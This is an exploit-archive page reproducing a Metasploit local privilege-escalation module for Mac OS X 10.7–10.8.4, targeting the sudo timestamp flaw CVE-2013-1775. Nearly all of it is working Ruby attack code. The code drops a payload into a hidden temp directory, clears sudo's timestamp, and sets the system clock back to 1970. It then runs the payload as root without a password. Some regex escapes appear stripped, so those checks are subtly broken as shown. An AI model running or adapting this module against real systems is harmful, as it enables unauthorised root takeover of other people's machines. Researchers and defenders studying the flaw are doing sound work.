Home / exploits Mac OS X 10.8.4 Sudo Password Bypass Vulnerability
Posted on 27 August 2013
<pre>## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # # http://metasploit.com/ ## require 'shellwords' class Metasploit3 < Msf::Exploit::Local # ManualRanking because it's going to modify system time # Even when it will try to restore things, user should use # it at his own risk Rank = NormalRanking include Msf::Post::Common include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper SYSTEMSETUP_PATH = "/usr/sbin/systemsetup" SUDOER_GROUP = "admin" VULNERABLE_VERSION_RANGES = [['1.6.0', '1.7.10p6'], ['1.8.0', '1.8.6p6']] # saved clock config attr_accessor :time, :date, :networked, :zone, :network_server def initialize(info={}) super(update_info(info, 'Name' => 'Mac OS X Sudo Password Bypass', 'Description' => %q{ This module gains a session with root permissions on versions of OS X with sudo binary vulnerable to CVE-2013-1775. Tested working on Mac OS 10.7-10.8.4, and possibly lower versions. If your session belongs to a user with Administrative Privileges (the user is in the sudoers file and is in the "admin group"), and the user has ever run the "sudo" command, it is possible to become the super user by running `sudo -k` and then resetting the system clock to 01-01-1970. This module will fail silently if the user is not an admin or if the user has never run the sudo command. }, 'License' => MSF_LICENSE, 'Author' => [ 'Todd C. Miller', # Vulnerability discovery 'joev <jvennix[at]rapid7.com>', # Metasploit module 'juan vazquez' # testing/fixing module bugs ], 'References' => [ [ 'CVE', '2013-1775' ], [ 'OSVDB', '90677' ], [ 'BID', '58203' ], [ 'URL', 'http://www.sudo.ws/sudo/alerts/epoch_ticket.html' ] ], 'Platform' => 'osx', 'Arch' => [ ARCH_X86, ARCH_X86_64, ARCH_CMD ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [ [ 'Mac OS X x86 (Native Payload)', { 'Platform' => 'osx', 'Arch' => ARCH_X86 } ], [ 'Mac OS X x64 (Native Payload)', { 'Platform' => 'osx', 'Arch' => ARCH_X86_64 } ], [ 'CMD', { 'Platform' => 'unix', 'Arch' => ARCH_CMD } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Feb 28 2013' )) register_advanced_options([ OptString.new('TMP_FILE', [true,'For the native targets, specifies the path that '+ 'the executable will be dropped on the client machine.', '/tmp/.<random>/<random>'] ), ], self.class) end # ensure target is vulnerable by checking sudo vn and checking # user is in admin group. def check if cmd_exec("sudo -V") =~ /versions+([^s]*)s*$/ sudo_vn = $1 sudo_vn_parts = sudo_vn.split(/[.p]/).map(&:to_i) # check vn between 1.6.0 through 1.7.10p6 # and 1.8.0 through 1.8.6p6 if not vn_bt(sudo_vn, VULNERABLE_VERSION_RANGES) print_error "sudo version #{sudo_vn} not vulnerable." return Exploit::CheckCode::Safe end else print_error "sudo not detected on the system." return Exploit::CheckCode::Safe end if not user_in_admin_group? print_error "sudo version is vulnerable, but user is not in the admin group (necessary to change the date)." Exploit::CheckCode::Safe end # one root for you sir Exploit::CheckCode::Vulnerable end def exploit if not user_in_admin_group? fail_with(Exploit::Failure::NotFound, "User is not in the 'admin' group, bailing.") end # "remember" the current system time/date/network/zone print_good("User is an admin, continuing...") # drop the payload (unless CMD) if using_native_target? cmd_exec("mkdir -p #{File.dirname(drop_path)}") write_file(drop_path, generate_payload_exe) register_files_for_cleanup(drop_path) cmd_exec("chmod +x #{[drop_path].shelljoin}") print_status("Payload dropped and registered for cleanup") end print_status("Saving system clock config...") @time = cmd_exec("#{SYSTEMSETUP_PATH} -gettime").match(/^time: (.*)$/i)[1] @date = cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match(/^date: (.*)$/i)[1] @networked = cmd_exec("#{SYSTEMSETUP_PATH} -getusingnetworktime") =~ (/On$/) @zone = cmd_exec("#{SYSTEMSETUP_PATH} -gettimezone").match(/^time zone: (.*)$/i)[1] @network_server = if @networked cmd_exec("#{SYSTEMSETUP_PATH} -getnetworktimeserver").match(/time server: (.*)$/i)[1] end run_sudo_cmd end def cleanup print_status("Resetting system clock to original values") if @time cmd_exec("#{SYSTEMSETUP_PATH} -settimezone #{[@zone].shelljoin}") unless @zone.nil? cmd_exec("#{SYSTEMSETUP_PATH} -setdate #{[@date].shelljoin}") unless @date.nil? cmd_exec("#{SYSTEMSETUP_PATH} -settime #{[@time].shelljoin}") unless @time.nil? if @networked cmd_exec("#{SYSTEMSETUP_PATH} -setusingnetworktime On") unless @network_server.nil? cmd_exec("#{SYSTEMSETUP_PATH} -setnetworktimeserver #{[@network_server].shelljoin}") end end print_good("Completed clock reset.") if @time end private def run_sudo_cmd print_status("Resetting user's time stamp file and setting clock to the epoch") cmd_exec( "sudo -k; "+ "#{SYSTEMSETUP_PATH} -setusingnetworktime Off -settimezone GMT"+ " -setdate 01:01:1970 -settime 00:00" ) # Run Test test = rand_text_alpha(4 + rand(4)) sudo_cmd_test = ['sudo', '-S', ["echo #{test}"].shelljoin].join(' ') print_status("Testing that user has sudoed before...") output = cmd_exec('echo "" | ' + sudo_cmd_test) if output =~ /incorrect password attemptss*$/i fail_with(Exploit::Failure::NotFound, "User has never run sudo, and is therefore not vulnerable. Bailing.") elsif output =~ /#{test}/ print_good("Test executed succesfully. Running payload.") else print_error("Unknown fail while testing, trying to execute the payload anyway...") end # Run Payload sudo_cmd_raw = if using_native_target? ['sudo', '-S', [drop_path].shelljoin].join(' ') elsif using_cmd_target? ['sudo', '-S', '/bin/sh', '-c', [payload.encoded].shelljoin].join(' ') end ## to prevent the password prompt from destroying session ## backgrounding the sudo payload in order to keep both sessions usable sudo_cmd = 'echo "" | ' + sudo_cmd_raw + ' & true' print_status "Running command: " print_line sudo_cmd output = cmd_exec(sudo_cmd) end # helper methods for accessing datastore def using_native_target?; target.name =~ /native/i; end def using_cmd_target?; target.name =~ /cmd/i; end def drop_path @_drop_path ||= datastore['TMP_FILE'].gsub('<random>') { Rex::Text.rand_text_alpha(10) } end # checks that the user is in OSX's admin group, necessary to change sys clock def user_in_admin_group? cmd_exec("groups `whoami`").split(/s+/).include?(SUDOER_GROUP) end # helper methods for dealing with sudo's vn num def parse_vn(vn_str); vn_str.split(/[.p]/).map(&:to_i); end def vn_bt(vn, ranges) # e.g. ('1.7.1', [['1.7.0', '1.7.6p44']]) vn_parts = parse_vn(vn) ranges.any? do |range| min_parts = parse_vn(range[0]) max_parts = parse_vn(range[1]) vn_parts.all? do |part| min = min_parts.shift max = max_parts.shift (min.nil? or (not part.nil? and part >= min)) and (part.nil? or (not max.nil? and part <= max)) end end end end </pre>
